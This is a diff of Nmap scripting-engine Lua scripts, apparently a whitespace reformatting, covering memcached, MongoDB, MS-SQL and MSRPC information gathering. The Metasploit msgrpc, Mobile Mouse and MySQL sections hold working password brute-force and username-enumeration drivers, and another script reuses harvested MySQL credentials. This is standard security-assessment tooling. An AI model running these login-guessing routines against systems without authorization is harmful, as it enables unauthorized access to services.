local status, response = socket:receive_buf("\r\n", false)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive response from server"
|
return false, "Failed to receive response from server"
|
||||||
end
|
end
|
||||||
local k,v = response:match("^STAT ([^%s]*) (.*)$")
|
local k,v = response:match("^STAT ([^%s]*) (.*)$")
|
||||||
if ( k and v ) then
|
if ( k and v ) then
|
||||||
kvs[k] = v
|
kvs[k] = v
|
||||||
end
|
end
|
||||||
until ( "END" == response or "ERROR" == response )
|
until ( "END" == response or "ERROR" == response )
|
||||||
|
|
||||||
return true, kvs
|
return true, kvs
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(10000)
|
socket:set_timeout(10000)
|
||||||
local status = socket:connect(host, port)
|
local status = socket:connect(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
status = socket:send("stats\r\n")
|
status = socket:send("stats\r\n")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to send request to server")
|
return fail("Failed to send request to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, kvs = recvResponse(socket)
|
local status, kvs = recvResponse(socket)
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return fail(kvs)
|
return fail(kvs)
|
||||||
end
|
end
|
||||||
|
|
||||||
status = socket:send("stats settings\r\n")
|
status = socket:send("stats settings\r\n")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to send request to server")
|
return fail("Failed to send request to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, kvs2 = recvResponse(socket)
|
local status, kvs2 = recvResponse(socket)
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return fail(kvs2)
|
return fail(kvs2)
|
||||||
end
|
end
|
||||||
|
|
||||||
kvs = mergetab(kvs, kvs2)
|
kvs = mergetab(kvs, kvs2)
|
||||||
|
|
||||||
local result = tab.new(2)
|
local result = tab.new(2)
|
||||||
for _, item in ipairs(order) do
|
for _, item in ipairs(order) do
|
||||||
if ( kvs[item] ) then
|
if ( kvs[item] ) then
|
||||||
local name = filter[item].name
|
local name = filter[item].name
|
||||||
local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] )
|
local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] )
|
||||||
tab.addrow(result, name, val)
|
tab.addrow(result, name, val)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, tab.dump(result))
|
return stdnse.format_output(true, tab.dump(result))
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -41,77 +41,77 @@ portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
|
|||||||
-- simple function that implements basic msgpack encoding we need for this script
|
-- simple function that implements basic msgpack encoding we need for this script
|
||||||
-- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more
|
-- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more
|
||||||
local encode = function(username, password)
|
local encode = function(username, password)
|
||||||
local method = "auth.login"
|
local method = "auth.login"
|
||||||
local username_prefix
|
local username_prefix
|
||||||
local password_prefix
|
local password_prefix
|
||||||
|
|
||||||
if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw
|
if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw
|
||||||
username_prefix = bin.pack("C",0xa0 + string.len(username))
|
username_prefix = bin.pack("C",0xa0 + string.len(username))
|
||||||
else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16
|
else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16
|
||||||
username_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(username))
|
username_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(username))
|
||||||
end
|
end
|
||||||
if string.len(password) <= 31 then
|
if string.len(password) <= 31 then
|
||||||
password_prefix = bin.pack("C",0xa0 + string.len(password))
|
password_prefix = bin.pack("C",0xa0 + string.len(password))
|
||||||
else
|
else
|
||||||
password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password))
|
password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password))
|
||||||
end
|
end
|
||||||
|
|
||||||
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password
|
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password
|
||||||
end
|
end
|
||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- as we are using http methods, no need for connect and disconnect
|
-- as we are using http methods, no need for connect and disconnect
|
||||||
-- this might cause a problem as in other scripts that don't have explicit connect
|
-- this might cause a problem as in other scripts that don't have explicit connect
|
||||||
-- as there is no way to "reserve" a socket
|
-- as there is no way to "reserve" a socket
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function (self, user, pass)
|
login = function (self, user, pass)
|
||||||
local data
|
local data
|
||||||
local options = {
|
local options = {
|
||||||
header = {
|
header = {
|
||||||
["Content-Type"] = "binary/message-pack"
|
["Content-Type"] = "binary/message-pack"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
||||||
data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass))
|
data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass))
|
||||||
if data and data.status and tostring( data.status ):match( "200" ) then
|
if data and data.status and tostring( data.status ):match( "200" ) then
|
||||||
if string.find(data.body,"success") then
|
if string.find(data.body,"success") then
|
||||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||||
else
|
else
|
||||||
return false, brute.Error:new( "Incorrect username or password" )
|
return false, brute.Error:new( "Incorrect username or password" )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
local err = brute.Error:new("Login didn't return a proper response")
|
local err = brute.Error:new("Login didn't return a proper response")
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.max_threads = 3
|
engine.max_threads = 3
|
||||||
engine.max_retries = 10
|
engine.max_retries = 10
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -40,80 +40,80 @@ portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
self.socket:set_timeout(arg_timeout)
|
self.socket:set_timeout(arg_timeout)
|
||||||
return self.socket:connect(self.host, self.port)
|
return self.socket:connect(self.host, self.port)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local devid = "0123456789abcdef0123456789abcdef0123456"
|
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||||
local devname = "Lord Vaders iPad"
|
local devname = "Lord Vaders iPad"
|
||||||
local suffix = "2".."\30".."2".."\04"
|
local suffix = "2".."\30".."2".."\04"
|
||||||
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||||
|
|
||||||
local status = self.socket:send(auth)
|
local status = self.socket:send(auth)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send data to server" )
|
local err = brute.Error:new( "Failed to send data to server" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, data = self.socket:receive_buf("\04", true)
|
local status, data = self.socket:receive_buf("\04", true)
|
||||||
|
|
||||||
if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
|
if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
|
elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
|
||||||
return true, brute.Account:new("", password, creds.State.VALID)
|
return true, brute.Account:new("", password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
local err = brute.Error:new("An unexpected error occured, retrying ...")
|
local err = brute.Error:new("An unexpected error occured, retrying ...")
|
||||||
err:setRetry(true)
|
err:setRetry(true)
|
||||||
return false, err
|
return false, err
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
local function hasPassword(host, port)
|
local function hasPassword(host, port)
|
||||||
local driver = Driver:new(host, port)
|
local driver = Driver:new(host, port)
|
||||||
if ( not(driver:connect()) ) then
|
if ( not(driver:connect()) ) then
|
||||||
error("Failed to connect to server")
|
error("Failed to connect to server")
|
||||||
end
|
end
|
||||||
local status = driver:login(nil, "nmap")
|
local status = driver:login(nil, "nmap")
|
||||||
driver:disconnect()
|
driver:disconnect()
|
||||||
|
|
||||||
return not(status)
|
return not(status)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
if ( not(hasPassword(host, port)) ) then
|
if ( not(hasPassword(host, port)) ) then
|
||||||
return "\n Server has no password"
|
return "\n Server has no password"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.options:setOption( "passonly", true )
|
engine.options:setOption( "passonly", true )
|
||||||
|
|
||||||
-- mouse server does not behave well when multiple threads are guessing
|
-- mouse server does not behave well when multiple threads are guessing
|
||||||
engine:setMaxThreads(1)
|
engine:setMaxThreads(1)
|
||||||
|
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -66,64 +66,64 @@ portrule = shortport.port_or_service({27017}, {"mongodb"})
|
|||||||
|
|
||||||
function action(host,port)
|
function action(host,port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
|
|
||||||
-- set a reasonable timeout value
|
-- set a reasonable timeout value
|
||||||
socket:set_timeout(10000)
|
socket:set_timeout(10000)
|
||||||
-- do some exception / cleanup
|
-- do some exception / cleanup
|
||||||
local catch = function()
|
local catch = function()
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
|
|
||||||
try( socket:connect(host, port) )
|
try( socket:connect(host, port) )
|
||||||
|
|
||||||
local req, statusresponse, buildinfo, err
|
local req, statusresponse, buildinfo, err
|
||||||
|
|
||||||
-- uglyness to allow creds.mongodb to work, as the port is not recognized
|
-- uglyness to allow creds.mongodb to work, as the port is not recognized
|
||||||
-- as mongodb, unless a service scan was run
|
-- as mongodb, unless a service scan was run
|
||||||
local ps = port.service
|
local ps = port.service
|
||||||
port.service = 'mongodb'
|
port.service = 'mongodb'
|
||||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||||
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
|
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
|
||||||
local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass)
|
local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return err
|
return err
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
port.service = ps
|
port.service = ps
|
||||||
|
|
||||||
local status, packet = mongodb.serverStatusQuery()
|
local status, packet = mongodb.serverStatusQuery()
|
||||||
if not status then return packet end
|
if not status then return packet end
|
||||||
|
|
||||||
local statQResult, buildQResult
|
local statQResult, buildQResult
|
||||||
status,statQResult = mongodb.query(socket, packet)
|
status,statQResult = mongodb.query(socket, packet)
|
||||||
|
|
||||||
if not status then return statQResult end
|
if not status then return statQResult end
|
||||||
|
|
||||||
port.version.name ='mongodb'
|
port.version.name ='mongodb'
|
||||||
port.version.product='MongoDB'
|
port.version.product='MongoDB'
|
||||||
port.version.name_confidence = 10
|
port.version.name_confidence = 10
|
||||||
nmap.set_port_version(host,port)
|
nmap.set_port_version(host,port)
|
||||||
|
|
||||||
status, packet = mongodb.buildInfoQuery()
|
status, packet = mongodb.buildInfoQuery()
|
||||||
if not status then return packet end
|
if not status then return packet end
|
||||||
|
|
||||||
status, buildQResult = mongodb.query(socket,packet )
|
status, buildQResult = mongodb.query(socket,packet )
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.log_error(buildQResult)
|
stdnse.log_error(buildQResult)
|
||||||
return buildQResult
|
return buildQResult
|
||||||
end
|
end
|
||||||
|
|
||||||
local versionNumber = buildQResult['version']
|
local versionNumber = buildQResult['version']
|
||||||
port.version.product='MongoDB '..versionNumber
|
port.version.product='MongoDB '..versionNumber
|
||||||
nmap.set_port_version(host,port)
|
nmap.set_port_version(host,port)
|
||||||
|
|
||||||
local stat_out = mongodb.queryResultToTable(statQResult)
|
local stat_out = mongodb.queryResultToTable(statQResult)
|
||||||
local build_out = mongodb.queryResultToTable(buildQResult)
|
local build_out = mongodb.queryResultToTable(buildQResult)
|
||||||
local output = {"MongoDB Build info",build_out,"Server status",stat_out}
|
local output = {"MongoDB Build info",build_out,"Server status",stat_out}
|
||||||
|
|
||||||
return stdnse.format_output(true, output )
|
return stdnse.format_output(true, output )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -67,56 +67,56 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
|||||||
|
|
||||||
---
|
---
|
||||||
local function process_instance( instance )
|
local function process_instance( instance )
|
||||||
local status, result
|
local status, result
|
||||||
-- the tempdb should be a safe guess, anyway the library is set up
|
-- the tempdb should be a safe guess, anyway the library is set up
|
||||||
-- to continue even if the DB is not accessible to the user
|
-- to continue even if the DB is not accessible to the user
|
||||||
-- TODO: consider renaming this arg to ms-sql-query.database
|
-- TODO: consider renaming this arg to ms-sql-query.database
|
||||||
local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb"
|
local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb"
|
||||||
local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version"
|
local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version"
|
||||||
local helper = mssql.Helper:new()
|
local helper = mssql.Helper:new()
|
||||||
|
|
||||||
status, result = helper:ConnectEx( instance )
|
status, result = helper:ConnectEx( instance )
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
status, result = helper:LoginEx( instance, database )
|
status, result = helper:LoginEx( instance, database )
|
||||||
if ( not(status) ) then result = "ERROR: " .. result end
|
if ( not(status) ) then result = "ERROR: " .. result end
|
||||||
end
|
end
|
||||||
if status then
|
if status then
|
||||||
status, result = helper:Query( query )
|
status, result = helper:Query( query )
|
||||||
if ( not(status) ) then result = "ERROR: " .. result end
|
if ( not(status) ) then result = "ERROR: " .. result end
|
||||||
end
|
end
|
||||||
|
|
||||||
helper:Disconnect()
|
helper:Disconnect()
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
result = mssql.Util.FormatOutputTable( result, true )
|
result = mssql.Util.FormatOutputTable( result, true )
|
||||||
result["name"] = string.format( "Query: %s", query )
|
result["name"] = string.format( "Query: %s", query )
|
||||||
end
|
end
|
||||||
local instanceOutput = {}
|
local instanceOutput = {}
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
table.insert( instanceOutput, result )
|
table.insert( instanceOutput, result )
|
||||||
|
|
||||||
return instanceOutput
|
return instanceOutput
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
return stdnse.format_output( false, instanceList )
|
return stdnse.format_output( false, instanceList )
|
||||||
else
|
else
|
||||||
for _, instance in pairs( instanceList ) do
|
for _, instance in pairs( instanceList ) do
|
||||||
local instanceOutput = process_instance( instance )
|
local instanceOutput = process_instance( instance )
|
||||||
if instanceOutput then
|
if instanceOutput then
|
||||||
table.insert( scriptOutput, instanceOutput )
|
table.insert( scriptOutput, instanceOutput )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then
|
if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then
|
||||||
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)")
|
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( true, scriptOutput )
|
return stdnse.format_output( true, scriptOutput )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -73,41 +73,41 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"safe","discovery"}
|
categories = {"safe","discovery"}
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
local status, smbstate
|
local status, smbstate
|
||||||
status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true)
|
status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
stdnse.print_debug("SMB: " .. smbstate)
|
stdnse.print_debug("SMB: " .. smbstate)
|
||||||
return false, smbstate
|
return false, smbstate
|
||||||
end
|
end
|
||||||
local bind_result,epresult -- bind to endpoint mapper service
|
local bind_result,epresult -- bind to endpoint mapper service
|
||||||
status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil)
|
status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
msrpc.stop_smb(smbstate)
|
msrpc.stop_smb(smbstate)
|
||||||
stdnse.print_debug("SMB: " .. bind_result)
|
stdnse.print_debug("SMB: " .. bind_result)
|
||||||
return false, bind_result
|
return false, bind_result
|
||||||
end
|
end
|
||||||
local results = {}
|
local results = {}
|
||||||
status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle
|
status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug("SMB: " .. epresult)
|
stdnse.print_debug("SMB: " .. epresult)
|
||||||
return false, epresult
|
return false, epresult
|
||||||
|
|
||||||
end
|
end
|
||||||
local handle = epresult.new_handle
|
local handle = epresult.new_handle
|
||||||
epresult.new_handle = nil
|
epresult.new_handle = nil
|
||||||
table.insert(results,epresult)
|
table.insert(results,epresult)
|
||||||
|
|
||||||
while not (epresult == nil) do
|
while not (epresult == nil) do
|
||||||
status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more
|
status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more
|
||||||
if not status then
|
if not status then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
epresult.new_handle = nil
|
epresult.new_handle = nil
|
||||||
table.insert(results,epresult)
|
table.insert(results,epresult)
|
||||||
end
|
end
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -48,67 +48,67 @@ arg_timeout = (arg_timeout or 5) * 1000
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
local status, err = self.socket:connect(self.host, self.port)
|
local status, err = self.socket:connect(self.host, self.port)
|
||||||
self.socket:set_timeout(arg_timeout)
|
self.socket:set_timeout(arg_timeout)
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function (self, user, pass) -- pass is actually the username we want to try
|
login = function (self, user, pass) -- pass is actually the username we want to try
|
||||||
local status, response = mysql.receiveGreeting(self.socket)
|
local status, response = mysql.receiveGreeting(self.socket)
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
if string.find(response,"is blocked because of many connection errors") then
|
if string.find(response,"is blocked because of many connection errors") then
|
||||||
local err = brute.Error:new( response )
|
local err = brute.Error:new( response )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return false,brute.Error:new(response)
|
return false,brute.Error:new(response)
|
||||||
end
|
end
|
||||||
stdnse.print_debug( "Trying %s ...", pass)
|
stdnse.print_debug( "Trying %s ...", pass)
|
||||||
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
|
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
|
||||||
local err
|
local err
|
||||||
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
|
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
if not status then
|
if not status then
|
||||||
return false,brute.Error:new( "Incorrect username" )
|
return false,brute.Error:new( "Incorrect username" )
|
||||||
end
|
end
|
||||||
if string.find(response,"Access denied for user") == nil then
|
if string.find(response,"Access denied for user") == nil then
|
||||||
-- found it
|
-- found it
|
||||||
return true, brute.Account:new( pass, nil, creds.State.VALID)
|
return true, brute.Account:new( pass, nil, creds.State.VALID)
|
||||||
else
|
else
|
||||||
return false,brute.Error:new( "Incorrect username" )
|
return false,brute.Error:new( "Incorrect username" )
|
||||||
end
|
end
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options:setOption("passonly", true )
|
engine.options:setOption("passonly", true )
|
||||||
engine:setPasswordIterator(brute.usernames_iterator())
|
engine:setPasswordIterator(brute.usernames_iterator())
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options:setTitle("Valid usernames")
|
engine.options:setTitle("Valid usernames")
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,72 +47,72 @@ local arg_noheaders = stdnse.get_script_args(SCRIPT_NAME .. ".noheaders") or fal
|
|||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
local function getCredentials()
|
local function getCredentials()
|
||||||
-- first, let's see if the script has any credentials as arguments?
|
-- first, let's see if the script has any credentials as arguments?
|
||||||
if ( arg_username ) then
|
if ( arg_username ) then
|
||||||
return { [arg_username] = arg_password }
|
return { [arg_username] = arg_password }
|
||||||
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
||||||
elseif nmap.registry.mysqlusers then
|
elseif nmap.registry.mysqlusers then
|
||||||
-- do we have root credentials?
|
-- do we have root credentials?
|
||||||
if nmap.registry.mysqlusers['root'] then
|
if nmap.registry.mysqlusers['root'] then
|
||||||
return { ['root'] = nmap.registry.mysqlusers['root'] }
|
return { ['root'] = nmap.registry.mysqlusers['root'] }
|
||||||
else
|
else
|
||||||
-- we didn't have root, so let's make sure we loop over them all
|
-- we didn't have root, so let's make sure we loop over them all
|
||||||
return nmap.registry.mysqlusers
|
return nmap.registry.mysqlusers
|
||||||
end
|
end
|
||||||
-- last, no dice, we don't have any credentials at all
|
-- last, no dice, we don't have any credentials at all
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function mysqlLogin(socket, username, password)
|
local function mysqlLogin(socket, username, password)
|
||||||
local status, response = mysql.receiveGreeting( socket )
|
local status, response = mysql.receiveGreeting( socket )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return response
|
return response
|
||||||
end
|
end
|
||||||
return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
if ( not(arg_query) ) then
|
if ( not(arg_query) ) then
|
||||||
stdnse.print_debug(2, "No query was given, aborting ...")
|
stdnse.print_debug(2, "No query was given, aborting ...")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local creds = getCredentials()
|
local creds = getCredentials()
|
||||||
if ( not(creds) ) then
|
if ( not(creds) ) then
|
||||||
stdnse.print_debug(2, "No credentials were supplied, aborting ...")
|
stdnse.print_debug(2, "No credentials were supplied, aborting ...")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then
|
if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then
|
||||||
arg_noheaders = true
|
arg_noheaders = true
|
||||||
else
|
else
|
||||||
arg_noheaders = false
|
arg_noheaders = false
|
||||||
end
|
end
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local last_error
|
local last_error
|
||||||
|
|
||||||
for username, password in pairs(creds) do
|
for username, password in pairs(creds) do
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
if ( not(socket:connect(host, port)) ) then
|
if ( not(socket:connect(host, port)) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
local status, response = mysqlLogin(socket, username, password)
|
local status, response = mysqlLogin(socket, username, password)
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
